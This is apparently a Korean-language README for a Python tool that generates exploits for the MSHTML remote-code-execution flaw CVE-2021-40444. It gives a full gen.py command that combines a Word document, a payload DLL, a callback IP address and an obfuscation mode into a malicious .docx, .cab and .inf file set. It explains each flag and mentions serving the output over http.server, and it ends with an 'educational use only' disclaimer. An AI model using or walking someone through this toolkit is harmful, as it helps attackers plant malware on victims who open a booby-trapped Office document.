
CVE-2021-40444 (MSHTML RCE)를 위한 Python 기반 익스플로잇 생성기로, 템플릿 기반 페이로드 전달을 통해 악성 Office 문서, CAB 아카이브, 난독화된 HTML/JS 콜백을 사용합니다.
먼저 setup.sh를 실행해야 합니다. 몇 개의 디렉터리가 필요하기 때문입니다. 스크립트를 실행한 후에는 아래 예제와 같이 gen.py를 실행할 수 있습니다:-
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3
# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity
http.server의 위치는 web 디렉터리에 있습니다. 이 디렉터리에는 다음 3개의 파일이 있습니다:-

이 저장소는 교육 목적으로만 제공되며, 악의적인 의도로 실제 환경에서 사용하기 위한 것이 아닙니다. 이 저장소의 불법적인 사용은 전적으로 사용자 본인의 책임과 위험 부담입니다.